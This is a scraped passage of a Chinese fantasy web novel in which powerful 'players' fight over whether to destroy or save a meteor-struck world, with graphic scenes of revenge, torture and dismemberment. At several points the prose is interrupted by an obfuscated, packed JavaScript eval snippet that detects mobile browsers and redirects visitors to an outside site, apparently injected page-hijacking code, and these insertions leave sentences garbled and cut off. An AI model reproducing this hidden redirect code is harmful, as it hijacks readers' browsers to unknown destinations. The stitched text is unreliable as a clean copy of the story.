齐肩直发的青年站起身,段心慈终于注意到她穿的衣服—— 上身一件白衬衫,下身是休闲裤子加运动鞋。 怎么看都是有些青春(贫困)的穿搭。 顾屿将小鱼吊坠挂回自己的脖子上,黑沉的瞳孔里一道紫芒转瞬即逝。 “我说——” 【预言师】双手举过头顶,伸向穹顶,笑容肆意狂妄:“一秒后,所在副本坍塌。” “全员生还。” 话音落下,一道震耳欲聋的巨响出现在玩家头顶。 工厂穹顶在‘咔嚓’声里,裂开崩毁的间隙。 裂痕越来越大,却并未有一丝天光从缝隙中透出。 段心慈察觉到一丝不妙:“这是……” “我艹他八十八代祖宗的!这是陨石啊???!” 【匿名】难以置信地崩溃大喊。 【预言师】逃命的动作熟练得仿佛经过千锤百炼,同时还不忘招身边的玩家:“快跑啊,不跑等着陨石砸下来吗?” “不是说全员生还吗?”艾里门·歌德大为震撼。 “生存判定是求生欲数值99%以上。” 顾屿好心解释:“如果不尽力逃命还是会死的!” 波绪拿神情扭曲—— 相信TOP.1里有正常玩家就是最愚蠢的事! ‘百分之九十九以上?’ 忒尼斯有些狰狞:“那不就是百分之百吗!” 看着被陨石砸碎的房顶,越发逼近的炽热星星…维莉亚·涅挪头一回觉得自己的称号要变谥号。 嘉里亚疯也似的到处乱窜:“姐姐姐姐!愚灵节记得给我烧纸!” 维莉亚顿了顿:“……那还是,等我先活着再说吧。” 说完,她拽过身旁的嘉里亚直接一个过肩摔甩出,蝎尾条件反射般从【生者】尾椎骨后迅速长出—— 最后那节蝎尾生生抗下天降陨石的一击。 嘉里亚:等等?刚刚发生了什么0v0? “###,你们TOP.1都是愉悦犯!”【匿名】嘴里骂得很脏。 段心慈:“……” ’……这又是什么新说法?’ “我不是!” 元翎深感冤枉:‘凉有烛那个疯子才是!’ ‘还有穆格罗!你请我当代打的时候!也没告诉我还要被天降陨石追着砸啊!!’ 如预言所说,副本确实坍塌了。 但在副本外,陨石雨并没有停下。 “【预言师】…” “……能不能预言一下陨石雨消失…” 躲了整整三小时的陨石雨,看着密密麻麻砸下的星星,元翎觉得天塌下来也不过如此了。 “不能。” 顾屿似笑非笑:“除非你想碰到比陨石雨更糟糕的事。” “不不不,我不想。” 元翎后退一步,连连摆手:“我觉得现在挺浪漫的,真的。” 经过这一遭,玩家们也明白顾屿预言的大体机制: 用一个很坏的遭遇兑换当前困境。 对他们这些玩家而言,躲避从天而降的陨石,比在副本里打螺丝搞内斗要好上不知道多少。 陨石雨下了整整五个小时。 就在他们松上一口气,以为终于结束时,熟悉的系统音总能适时出现: 【第六幕-机械废土】 【神秘的陨石雨突然降临全球,生物与机械纷纷发生异变……】 【剧场任务:末世求生】 【一场陨石灾难导致星球末世降临,竭尽全力存活到末日结束吧!】 场上所有玩家:“……” 事已至此,谁也不知道这场陨石雨究竟原本就存在,还是因为顾屿的预言才在此降临。 “存活到末日结束?” 【匿名】双手绞紧,目光恨恨:“谁知道末日什么时候结束?” “如果不结束是不是还要找结束末日的方式?” “也许吧。” 【死者】顿了顿:“代号十向来见不得玩家安逸。“ “干脆毁灭世界算了。世界末日结束与否根本不重要。” 面容寡淡的青年煞有其事地摆手:“只要世界不存在,世界末日自然也就消失了。” 这实在是天才一般的想法。 谢挽非自诩道德高尚,第一次在道德层面碰到与之匹配的对手,顿觉稀奇。 “难道你们有比毁灭世界更好的方法吗?” 【匿名】反问。 元翎呐呐:“……拯救世界?” “或许我们该仔细看看这个世界被时间侵蚀的程度,再谈毁灭还是拯救。” 顾屿客观分析:“如果毁灭更方便,就毁灭世界。反之则拯救世界。” “就近原则嘛。” 元翎:‘……为什么祢也对这种事情轻车熟路啊!’ 段心慈靠在一棵被陨石拦腰砸断的树干上,目光放空,不知道在想些什么。 百年时光抹去他太多应有的情感,不再相信任何除自己以外的灵魂。 但有些心境…… 尽管时过境迁,依旧延绵不绝。 比如野心。 比如怜悯。 只是以更加难以挣脱、不辨善恶的形态出现。 因此显得阴森可怖。 她不会代替其他玩家抉择。 因为毁灭世界无可置喙是最符合当下情形,效率最高的解法。 顾屿的目光一直若有若无地落在段心慈身上。 在看清对方眼底的抉择时她不禁在心中暗叹:不愧是被顾小鱼托付的人吗? 好善良,首先排除是TOP.1的可能性。 狐蛇见青年没有立刻表态的时候,就知道这人估计又犯病了。 她恨不得替把段心慈脑袋里为数不多的道德扔掉,随便换点什么进去都比现在这副不人不鬼的样子好。 然后她就十分绝望地听到对方说:“我去找解决办法。” “你们这边的计划同步进行,哪个先成功就施行哪个。” 每一秒时间流逝都会带来危机的情况下,她不可能拿其他玩家的性命做赌注。 艾里门·歌德完全不意外段心慈会做出这个决定。 将手里的糖果罐装进衣兜,棕发青年慢悠悠地跟在玩家首席身后:“……等等,我和你一起。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522810|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>TOP.4从11岁起一直待在首席身边,做出这个选择并不奇怪。 奇怪的是波绪拿居然也选择和段心慈一队。 艾里门·歌德有些戒备地看向【摇篮】,她可不觉得这位TOP.7有选择拯救世界的理由。 波绪拿面无表情地将自己头顶的睡帽压低,乱糟糟的碎发贴在额头上:“怎么,只允许你们拯救世界?” “那倒不是。” 艾里门·歌德还是觉得波绪拿没安好心。 元翎对眼下发生的状况有些茫然,他试探性地问谢挽非:"……你们是去拯救世界的?" “怎么可能。”谢挽非疑惑。 “我这辈子还没有毁灭过世界呢!” 元翎小心翼翼:“所以?” “当然要试着毁灭一下啊!” 少年真诚且坦率。 “…那你们TOP……” 顾屿目光微滞:‘等等,祢说谁是TOP?’ “她当然是去拯救世界啊!” 谢挽非看元翎的眼神像在看傻瓜。 “她都毁灭那么多世界了,难得有拯救世界的机会当然是大胆去做啊!” 元翎:“……” ‘这是歪理,对吧。’ 想到这,他咬牙朝三人刚刚离开方向追去。 坑害一个穆格罗已经让他在良心上颇受谴责,他可不想毁灭世界。 “……好了,TOP大人他们去……拯救世界了。” 忒尼斯·厄洛诺斯手里的爆米花盒子被她晃得‘哗啦’作响:“现在我们想跟也跟不上。” “她怎么不带我一起?” 【匿名】深感遗憾:“我很像会给TOP添乱的样子吗?” “别怀疑,你就是。” 嘉里亚语重心长地拍了拍他的肩膀,并在心里补充:‘世界上哪有拯救世界带疯子的道理。’ 【匿名】选择主观认为【生者】只是在说梦话,并且动作湿黏地将一把水果糖包装炸弹强势塞进嘉里亚·涅挪的怀里。 “拿着,别客气。” ‘一金币一颗呢。’ 嘉里亚抽了抽眼角。 这下他不得不坐起身,掸掉身上乱滚的小炸弹。 【匿名】装作对他眼中的仇恨一无所觉。 把水果糖包装纸全拆开,【生者】将里面的小眼珠一个接一个扔向【匿名】,黏在对方的牛仔外衫上咕噜噜地四处乱转。 【匿名】脸黑得像锅底:‘我#####!’ 此时嘉里亚已经走远了。 “【预言师】……” 【匿名】只好转身,对顾屿笑得灿烂:“我这里有好东西送你。” 顾屿挑眉,走了过去。 在看清是堆小眼珠炸弹后—— “什么脏东西!” 【预言师】眼疾手快地把【匿名】握满眼珠的手掌向上一抬。 【匿名】脸色瞬间大变,他显然没有顾屿有力量。 【预言师】一个膝击,【匿名】吃痛—— 一把闪闪发光的炸弹糖就这样被顾屿轻松写意地送进了他的食道。 【匿名】跌跌撞撞地跑去小溪边催吐了:‘说好的无性别很吃香呢?!’ ‘啊不对,我不是无性别。’ ‘可恶!’ 青年狠狠地磨了磨后槽牙。 潺潺流动的溪水映出那张毫无特色的面孔。 明明该愤怒的那张脸上什么情绪也没有。 ……刻板得与死物无异。 53.仇恨里缄默难言 检测到玩家决定分作两批不同行动阵营,系统非常‘好心’地为他们增加了一则游戏规则,即: 任务区内被临时投放了一支蓝药,一支红药。 世界的关键在于核心。 世界核心是什么、在哪里、以什么形态出现,则需要玩家自己去找。 将蓝药注射进核心,世界毁灭。 红药注射进核心则世界获得拯救。 另外每位玩家可以在系统邮件里选择领取一支自选蓝药/红药。 同一阵营携带同色药剂总数不得超过5支,超过自动作废。 阵营持有蓝药(红药)数量大于红药(蓝药),则默认放弃红药(蓝药)。 【温馨提示:】 【药剂不止两种获得方式,请玩家自行探索。】 距离觐神宴开启,已经过去五天零五个小时有余。 “你觉得段心慈能找齐5支吗?” 谢挽非问身旁的狐蛇。 “你该不会要把你的那支转赠吧?”忒尼斯·厄洛诺斯有些警惕。 少年摇头,矢口否认:“我觉得她能找齐,所以就不转赠了。” 毁灭世界的他们目前共计拥有蓝药五支,如此只需比拯救世界小队先行找到世界核心所在地便可以轻而易举地获得成功。 而在另一边,拯救世界小队共计拥有4支红药。 比起谢挽非那边,可谓输在了起跑线上。 而顾屿却更为凄惨—— 或许在绿赛图斯看来,败者没有机会参与这么好玩的游戏。 因此这位【预言师】手里现在既没有红药,也没有蓝药。 甚至没有被代号十算进两方阵营。 为了游戏的参与感,顾屿掬了把辛酸泪,决定自力更生。 ……反正系统已经说过,拿到药剂的方式不止两种。 拯救世界成功,世界末日结束。 毁灭世界成功,世界末日结束。 所有玩家都一致认为无论选择哪个药水,只要结束世界末日就够了。 于是他们顺理成章、全无例外地把这次阵营选择当成一个通关之余调剂心情的小游戏。 绿赛图斯:‘……’ 此处世界:‘……谁能来在意在意我的死活?’ * 5:39AM 距离废弃工厂,也就是玩家们兵分两路的地方,西南70km,一处市区。 被陨石轰炸后的市区变得残破不堪。 沿途许多路牌、车辆都被压成薄薄的铁皮片。 红色的血四处流淌,到处都是残肢断臂。 属于人的,宠物猫狗的…… 或者有一些早已经看不出原本模样。 而久久未能熄灭的火苗还在呼啸而过的狂风里摇曳。 造成这一切的罪魁祸首—— 陨石,却在落地后化作一滩幽蓝的水。 要么随着日出蒸发,汇进地下管道消失不见。 或是被饥渴的人群与宠物家畜争先恐后的啜饮。 四面八方尽是一片人间炼狱的惨象。 很难想象五个小时前,这里还是人类世界最为繁荣的都城之一。 24小时常亮的广告大荧幕中央被陨石砸出空洞,明星美丽的面庞不见,取而代之是剩下荧幕电路燃烧出现的焦糊。 人们曾以为这里的闪烁霓虹灯管永远不会熄灭,就像天空中的星子永远不会坠落。 段心慈不可避免地想到那些发生在寰宇年之前,更早的时代…… 比如魔盒。 她未曾经历那个绝望与残忍的时代,却在今日看见类似的命运露出狰狞獠牙—— 要刺穿这无主孱弱的世界。 系统所说的异变目前尚未到来,但风雨欲来的气息已经填满整座城市。 这颗星球上的其他地方,现下也是如此。 …… “我们只要找到额外一支红药就够了吧?” 凝滞的氛围里,最终元翎耐不住寂寞,挑起话头。 他双手交叉放在脑后。 这样的动作由一个天真烂漫的少男做出来自是没什么问题。 坏就坏在元翎用的是【屠夫】穆格罗的身体。 波绪拿默默离他远了些。 【地母】则和段心慈并排走在队伍前面。 她们谁也没有说话。 或许是许久没有这么心平气和地和段心慈站在一起过了,艾里门·歌德内心竟生出一丝安宁到几近诡异的……既视感。 如果时光能静止在这一刻。 不。算了。 她已经疲惫,但段心慈总要向前。 在绿赛图斯的统治下,平静的时光总是难得可贵。 地动山摇间,一栋本该早已熄灯的办公楼骤然亮起。 薄雾弥漫的凌晨,废墟上骤然出现的惨白灯光。 并不能给饱受惊惧的人群带来任何心理安慰。 他们看向那座大厦的目光,更像在看一种未知的怪兽。 早在三小时前就有人说过,那栋大厦的三套电力系统已经全部被陨石砸毁。 现在亮起的……究竟是什么? 眼见钢筋虬结的混凝土地基就要拔地而起,段心慈无法做到视而不见。 在寰宇年也有类似的存在:生物大楼。 指具备生物智慧,同时有基本生存需求的一种科技建筑物。 但寰宇年的生物大楼是可控的人造物,并没有自我意识。 更不会像眼前这座混凝土钢筋怪兽一样,试图以血肉为食。 青年一个箭步跃上还在与地基做抗争的楼体,一拳砸下。 原本耀武扬威,即将拔地而起的庞然巨物瞬间倒塌,化作齑粉。 段心慈的脸上毫无喜悦之意。 ‘绿赛图斯……’ ‘祢已经背叛了时间,并触怒死亡。’ 生命的意义不在于时间流逝,以等来死亡如约降临的那天。 它在于每个当下。 每一个正在发生的瞬间。 作为死亡之神,段心慈自认尚不敢如此傲慢。 她不明白绿赛图斯是怎么想还付出行动的。 艾里门·歌德是代号十里最为接近段心慈的灵魂…… 此刻此刻,她多少也因为无数生命的逝去而感到不愉。 但更多,是对时间穷途末路时反扑的忧心。 棕色发丝的青年很想和段心慈继续待在一起,什么也不想干。 但是…… 不可以。 “……我去别的地方看看。” 艾里门·歌德眼睫微敛,半是垂目地望向段心慈:“我会帮你。” ‘帮你达成你要的结局,就像那时候的你。’ 段心慈一直对她很放心,那个孩子承诺的事情就一定会做到。 尽管忒尼斯·厄洛诺斯的挑拨从来不缺席,但青年从不觉得艾里门·歌德能做出多坏的事情。 艾里门·歌德转身走了。 她知道这里有段心慈在,方圆数百乃至数千里都无需自己。 看着艾里门·歌德干脆利落地离开,元翎自觉不能太拖后腿。 毕竟他被系统登记在段心慈的队伍里。 如果因为自己不尽力而导致最终拯救世界失败,他也会不甘心的。 鹦鹉看着铁了心要跟在段心慈身后的波绪拿耸耸肩: 它完全搞不懂这届TOP榜里奇奇怪怪的关系。 随后元翎毫无留恋地朝着与艾里门·歌德离去时,截然相反的方向离开。 现在—— AL城,属于代号十的玩家只剩下两位: TOP.1【神的怨、憎、恶】段心慈与TOP.7【摇篮】波绪拿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524190|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 长发青年清剿变异生物的速度很快。 极端的暴力屠杀下,这些副本怪物根本不会存活到第二秒。 周边的怪物已经清空,而波绪拿也在不知不觉,站到了与段心慈很近的距离。 对于段心慈这样自我掌控感极强的灵魂来说,这已经是一个非常不安全的距离。 波绪拿丝毫不觉自己逾越。 睡帽下,那双被厚重发丝遮住的藻绿色眼中,满是阴翳。 长发青年对杀意的敏锐程度让她立刻回过头—— “TOP.1。” 波绪拿的声音沙哑,带着记忆里的潮湿与咸腥: “好怜悯啊。” “为什么不曾,怜悯一次……”我的挚友。 她将头上柔软的睡帽摘下,两只手仅仅攥着。 一阵强风突兀地自【摇篮】身后刮过,是以让段心慈看清那双阴翳与仇恨混杂的眼睛。 以及对方眼下的深重黑青。 “还记得【深海水道】那个副本吗?145场世界在你手里落幕——” 波绪拿深深吸了一口气,缓缓吐出:“你不记得,” ‘你怎么可能记得……’ “我记得。” ‘那个副本很特殊。’ 段心慈有预感,波绪拿不会善罢甘休了。 但她确实想知道,自己明明和【摇篮】从未有过交集才对。 ‘这样有指向的恨意,究竟从何而起?’ 于是她重复道:“我记得那个副本。” “……你记得?” 波绪拿将海螺帽子用力按在自己的双眼上,仰头撕心裂肺地大笑起来。 那分不清是笑是哭的泣音,几乎要把所有的仇恨都发泄出来:“你记得……” “那你也记得,【深海水道】的最后BOSS【海兔】了!” 段心慈知道波绪拿所说的【海兔】: 【深海水道】的统治者。 以繁衍与寄生为攻击手段,体型甚至比一栋写字楼还要大上两圈。 “她从来没有杀死过任何一名玩家……” 咸黏的墨绿从【摇篮】眼眶里泊泊淌出,像苦涩的胆汁:”【深海水道】是通关率高达98%的SS级副本……” 段心慈怔住。 对方话语间的指代已经呼之欲出。 她从未知道……那时波绪拿就在屏幕外亲眼看着。 “对不起。” 青年声音沙哑:“我很抱歉。” “你很抱歉?” 波绪拿冷笑一声。 如果语气可以冻伤人,她面前的段心慈早已死得不能再死:“祢把她像垃圾一样碾死的时候——” “怎么想不到!还会有感到抱歉的一天?!” 【摇篮】永远忘不掉,听到旁人说TOP.1进入【深海水道】副本时的……灭顶恐惧。 还有…在荧幕上看到自己的挚友被生生斩碎…… 变成一堆拼也拼不起来的垃圾时…… 痛楚与绝望占据了波绪拿的全部。 她几乎是像具有余温的尸体… 仅剩的意识拖行着,被仇恨之火融化的身躯。 一步一步,踉跄地走到【深海水道】剧场门口。 【暴君】出来的很快。 这位新晋TOP.1身上……还带着海兔死去的,新鲜血液的味道。 她们擦肩而过。 在那间剧场的门前。 深灰色腰带在空中扬起绝望致命的弧度。 与段心慈那双填满杀戮的眼睛刹那对视,波绪拿口腔里的牙齿在打颤。 “……” 她好冷,好冷。 好冷…… 好恨…… ‘我恨——’ ‘我恨祢……段心慈!!!’ ‘祢该偿命的。’ 54.我情愿随你一起 【摇篮】永远不会忘记深海异变那天,她和海兔的约定。 仿佛是命运的作弄。 她们一个成了【玩家】,另一个却成了站【玩家】在对立面的……【怪物】。 那个傻瓜,有两个长耳朵的笨蛋。 天真地和她说:“只要我不主动杀死别的生灵,就不会有事。” 【摇篮】根本不相信。 她信奉是弱肉强食,适者生存。 但海兔这样说,她就会这样做。 一个有些天真的想法罢了。 如果海兔高兴,她死去也有所值得。 一切都在往好的方向发展。 海兔和她偶尔也会在【深海水道】的副本里,举办一场只有她们知道的派对。 甚至有时候波绪拿也会感到发自内心的快乐—— 她和海兔到底没有在漫长的时间里变作满手血腥的屠杀者。 她们像两名在时间流逝中,结伴逃亡的旅者。 直到段心慈的出现。 在TOP榜上犹如一记重锤。 那个玩家太强了。 断层第一的强横实力,就连TOP.2【主教】都选择避其锋芒。 是以那时TOP.9【摇篮】选择暂避。她主动找到其他玩家挑战自己,顺势隐匿。 往后的无数日子里她想过: 是不是自己当初严肃地告诉海兔不要天真…… 或者自己不曾沉溺在拒绝杀戮的温柔日子里—— 而是选择牢牢守在TOP榜上,绝不退后半步。 ‘结局是否会和那时的不一样?’ ‘没有假设了……’ ‘一切假设都是无用。’ 海兔死了。 她……手上陆陆续续沾满了血。 无辜的,或死有余辜的。 从大义上来看,段心慈从没有滥杀玩家过。 但……面对副本BOSS,对方也从来没有手下留情过。 现在,那个杀死海兔的敌人就站在自己面前。 ‘祢这样的刽子手,也会歉疚吗?’ “……段心慈,祢合该去死的。” 波绪拿看着面前与朦胧晨光格格不入,甚至让日出也阴翳的…神祇。 湿冷的雾气裹住呼吸,却不能浇灭她深入骨髓的仇恨之火。 代号十里从来没有能宣之于口的恨,除非她选择在此刻将一切了结。 “……海兔她的…” 段心慈想说:‘她的死确实有我不可推卸的过错。’ “闭嘴!” 波绪拿恨恨打断,随后向后跃去:“你没资格提她的名字!” TOP.7【摇篮】主攻控制系,这件事不是秘密。 但代号十里,能将‘控制’做到波绪拿今天这个地步的—— 一个也没有。 地壳开裂,无数惨绿的庞然大物从星球更深处源源不断地涌现。 是巨藻。 如果自太空俯瞰这颗星球,就能看见原本分布有致的、蓝与绿的板块,在以极快的速度坍塌—— 被幽绿的宏大巨藻林吞噬、取代。 另一边拯救世界小队面对这突如其来的变故,同样被打了个措手不及。 “波绪拿终于睡醒了?” 忒尼斯·厄洛诺斯大为震惊:“睡醒也没必要这样兴师动众吧!” 如果说巨藻在深海里是优雅的精灵,孕育生命的摇篮—— 那么爬上陆地的巨藻,无疑是一场灾难,一滩诡异的腐烂沼泽。 “这到底是有多想拯救世界啊!” 嘉里亚·涅挪小声附在姐姐耳边嘀咕。 “这个动静,你确定不是毁灭世界?”谢挽非深感怀疑。 【生者】摸了摸自己后脑勺翘起的发丝:“……呃,不好说。” 看着拱起地壳,源源不断生长的巨藻群,忒尼斯严重怀疑波绪拿是睡出癔症来了。 但此时她也只能逃命为上。 打不过,完全打不过。 别说TOP.3了,TOP.1也够呛。 段心慈还是自求多福吧。 * 宽大的藻叶将波绪拿托起—— 如此盛况下她眼里没有喜悦,只有仇恨与深切的哀痛。 “觐神宴只会发生在这颗星球,而祢打不碎十一个副本世界相加的壁垒。” “现在……这颗星球是我的。” 段心慈抬头向高高在上波绪拿望去。 青年向来以攻速作为辅助优势,但现在这点优势几乎可以说完全消失。 无论走到哪里都会被铺天盖地的巨藻缠绕、勒紧。 海水的咸腥和巨藻的黏腻已经覆盖整颗星球。 这是波绪拿早在降临这片被代号十用作觐神宴的场地之初时,就已经埋下的种子。 五天的时间里,那棵被【摇篮】种在下水道里的细弱苗株,早在所有玩家看不到的地方,成长为足以遮天蔽日的庞然大物。 “……波绪拿。” 阳光逐渐升起,段心慈那双眼中灰色的边缘显得有些浅淡。 唯有死亡与胜利依旧。 那猩红的暗火始终被漆黑的枷锁死死囚困,将它与阴霾的灰调隔开。 “放开我。” 青年腰腹以下被藻类淹没,手腕也被藻类缠绕。 巨大的力量几乎要将她整条胳膊拽掉。 ‘九百九十九的防御力……真的很薄弱。’段心慈思绪放空地想。 “……我还以为。” “你会说出什么有趣的话呢。”波绪拿越发憎恶。 人类越冷静,只会让她越发觉得自己是个深陷仇恨,失去理智的疯子。 不期待段心慈求饶,但至少也要有点别的反应吧! 【摇篮】感到无趣。 于是只静静盯着长发青年狼狈的模样,等待巨藻沼泽将自己的仇敌吞噬。 就在这时—— ‘滴滴!’ 消息提示音响起,源头是段心慈的手机。 ‘这时候会有谁找我?’ 极为糟糕的预感在脑内拉响尖锐警报。 段心慈挣开束缚自己的强韧海藻,将手机从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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藻藤悄无声息地绕上青年的脖颈,向后猛地一勒—— 失衡感随之传来,波绪拿眼底的恨随即倒映在那双死亡蔓延的眼中。 段心慈抬手利落地扯断脖颈上的巨藻。 站在仅剩的,未被藻类沼泽湮覆的高楼天台,青年与屹立在空中海藻叶面上的波绪拿遥遥相对。 她的右手腕处还在滴血,白筋裸露。 下一刻,二者彼此带着滔天杀意战在一起。 【摇篮】看到巨藻的束缚被轻而易举挣开时,她就知道,自己杀不死段心慈。 既然做不到,死前……用自己的性命给她添堵也好—— “这么紧迫的情绪,很少见啊。” “TOP大人。” 鲜血的颜色蔓延,段心慈脑中再没有别的想法。 那双眼瞳中燃烧着滔天的怒火,仅剩下唯一最清醒的念头: ‘我要以最快速度杀死波绪拿,去到艾里门身边。’ ‘顾屿……’ ‘祢怎么敢!’ 55.疲倦里感到悲哀 在世界另一端。 顾屿可以明确告诉段心慈:她不仅敢,还能更过分。 Y国-港口仓库。 【地母】被顾屿按着脑袋,逼迫她用仅剩的一只棕色右眼看着手机屏幕。 左眼眼眶里,早已经空无一物。 黏腻的血点点滴滴,落在她和段心慈的聊天界面上。 关于段心慈,艾里门·歌德没有用系统的自动备注。 在聊天屏幕的最上面,加粗加黑的备注格外显眼。以至于她身后的【预言师】也无法忽视那三个字母: Mom. 是……母亲。 她11岁零三个月的时候改的备注。 艾里门有点想哭了。 但【预言师】就在这里,对方正用饶有兴致地目光打量她。 “我说真的,你为什么非要跟我抢红药?” “总不能真是因为那个冷血怪物吧?” 顾屿眼底戏谑:“不如,我们玩个游戏。” “……” ‘段心慈不是冷血怪物。’ 艾里门·歌德一声不吭,棕色的卷曲长发遮住她脸上满是血污的绷带。 【预言师】俯身凑到【地母】耳边,温声蛊惑:“你说,段心慈会不会来救你?” “我可是给你发求助短信的机会了。” 似乎是觉得艾里门·歌德如今这副模样着实无趣,于是她再次提议:“三分钟内。” “三分钟内如果段心慈赶来,无论她是否有能力救你——“ ”我都把红药和你打包一起送给她。” “怎么样?够意思吧!” 艾里门·歌德垂着头,一言不发。 青年现在只希望段心慈没看到消息,不要过来。 顾屿很强。 强到…她瞬间生效的预言……根本不需要代价。 【预言师】看了看手机上的时间——上午八点整。 “我允许你给她发最后一条消息。” 说着,她将艾里门·歌德的右手按在被血糊住的屏幕上,粗暴地下达命令:“现在,打字。” “……” 艾里门·歌德的手指微蜷。 顾屿见状催促道:“快点,要是三分钟后她还不来救你,我就先杀了你。” “再去杀了她。” 艾里门无所谓自己的生死,但她不想连累段心慈。 颤抖的手指按在被血染红的屏幕上,她用仅剩的右眼艰难分辨那些字母的形状。 临到此时,【地母】唯一庆幸的是【预言师】看不懂外文。 [i]……按下。 [l]……按下。 她的指尖在[o]与[i]之间游移……最后落在[i]键,轻轻点下。 【i like you.】 与此同时艾里门·歌德在心里默念的却是: ‘I love you.’ ‘如果我的爱让你有负担了。’ ‘Mom,就不要记得我爱你。’ ‘要记得,我喜欢你。’ ‘艾里门·歌德喜欢段心慈。’ ‘……下辈子还想…牵你的手。’ 感受顾屿身上逐渐焦躁的气息,艾里门深知这条短信如果再不发出去,恐怕自己这辈子再也没有能说出这句话的机会。 08:02:15 消息[发送]。 与此同时,一尊牌式金属吊坠凭空出现。 绷带构成的荒原、在荒原上空是暴雨倾盆。浮雕是艾里门·歌德对段心慈最深刻的印象。 顾屿瞳孔猛地一缩:‘……爱神牌?!’ 就在消息发送出去后的一瞬,被海藻淹没的手机发出一声极微弱的声响。 激战里,玄发青年下意识抽出空闲,转身望向声音的来源,恰巧躲过波绪拿再次试图绞上她脚踝的麻烦—— 抓住这个空当,段心慈立刻杀了个回马枪,身形一闪,绕到波绪拿身后。 抽过一截被斩断后全无生机的海藻,死死套住对方青筋绷起的脖颈。 交叉一勒—— 【摇篮】的脖子不堪重负,瞬间发出骨头断裂的声音。 段心慈一拳砸碎波绪拿,半分生机都未曾留下。 几乎是同一时刻,仓库大门发出极其刺耳的声响—— ‘哐镗’一声,大门轰然倒塌。 卷帘门被踩在靴底,满身是血的青年向艾里门·歌德走去。每上前一步铁门都会发出刺耳的震响。 段心慈身上不止是波绪拿的血。 更多是她自己的。 【摇篮】的综合战力已经远远超过TOP.3【织觉人】,甚至当初的【主教】也完全不及她。 在力求速度的时刻,段心慈不得不有所取舍。 而站在她面前的【预言师】,却是实实在在全盛时期的顾屿。 “……出乎意料。” 顾屿盯着段心慈被鲜红血液浸透的肩膀,神情明显有些不解:“祢居然,真的来了…?” “把她给我。” 段心慈看着从她出现开始就一动不动的艾里门,从未有过的恐惧感在这一刻降临。 ‘不要看,快逃吧。’ 恐惧爬上脊骨,附在她耳边的低声呢喃。 她定定立在原地,不想离开。 不能离开。 就要站在这里,就迫切想要确认艾里门是否安全。 那双眼里的关切与焦躁不能作假,顾屿想不通便不再继续深想。 她抬起手,无视段心慈的话语,挑衅般地摸了一把艾里门·歌德的头发。 艾里门身体颤栗一瞬,却依旧没有抬起头看段心慈。 顾屿则有些讶异地搓搓手指。 刚才她按着对方的脑袋没仔细摸,没想到入手是花瓣丝绒般的触感,有些像猫毛。 还怪好摸的。 “喏。” 【预言师】不顾艾里门·歌德对她而言力道微乎其微的抵抗,一把薅起她后脑勺的头发。 强迫那张鲜血淋淋,缺少一只眼球的面孔对向段心慈。 “我看她的眼睛很漂亮,收藏了一颗。你不介意吧?” 艾里门·歌德疯狂想要阖上双眼,青年不愿意让段心慈看到自己丑陋的一面。 但神经上源源不断传来的剧痛让她根本无法控制自己的肌肉,只能徒劳地睁着。 “顾屿——!” 段心慈暴怒:“你怎么敢?” 这是她的孩子。 狂躁的青年霎时出现在顾屿面前,恐怖的力量下,周围景象都扭曲起来。 明明二者都是神祇,却以最粗暴、野蛮的方式瞬间缠斗在一起。 仰面躲过段心慈破风的一拳,顾屿开口嘲讽—— “我有什么不敢的?” 【预言师】同样手下毫不留情,皮笑肉不笑道:“祢把我的猫杀死的时候,怎么不想敢不敢的?” 屏幕外完全不知道事情为什么会发展到这个地步的T.T-Carro闻言:“???” 少了一颗眼球,缩在角落阴影里的艾里门·歌德:“……?” ‘【暴食】死了,什么时候的事儿?’ 段心慈动作一滞:‘顾屿究竟在说什么?’ 这样的停顿在拳拳到肉的战斗中过于致命。 顾屿抓住这个空当,直接卸去了段心慈的右大腿。 整个动作丝滑到她自己都不敢相信。 ‘就这么轻松卸掉了??’ 【预言师】怀疑地看了看自己的手,愣是没想过段心慈的防御只有999。 毕竟稍微有点实力的新玩家都不止这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她正和顾屿打得不可开交,那双暗色的眼底尽是孤注一掷的狠戾—— ''无论如何,我都要把【预言师】的左眼剜掉。'' 顾屿咬牙,死死制住段心慈的手臂:‘如果顾小鱼还活着,那我做的这些事算什么?’ 对方力量之大让【预言师】毫不怀疑,只要再来一次,她已经骨裂的右侧肩胛骨就要彻底粉碎。 “你冷静一下听我说,如果我出去之后发现T.T-Carro没死……” “我把眼睛赔给你……那个棕色头发的。”顾屿咬牙:“我赔,你俩要什么都行。” 大不了就是预言。 不管那个棕色头发的和段心慈开口要什么,她什么给不起。 但段心慈显然听不进去任何话了。 顾屿发现段心慈攻击方式的改变—— 从原先不要命地要她的命,到现在不要命地要她的眼珠子。 对预言之神来说,看清世界的双眼是最重要的。 一张能说会道的好嘴反而排在其次。 可以说,少颗眼球的顾屿无异于丢掉大半条命。 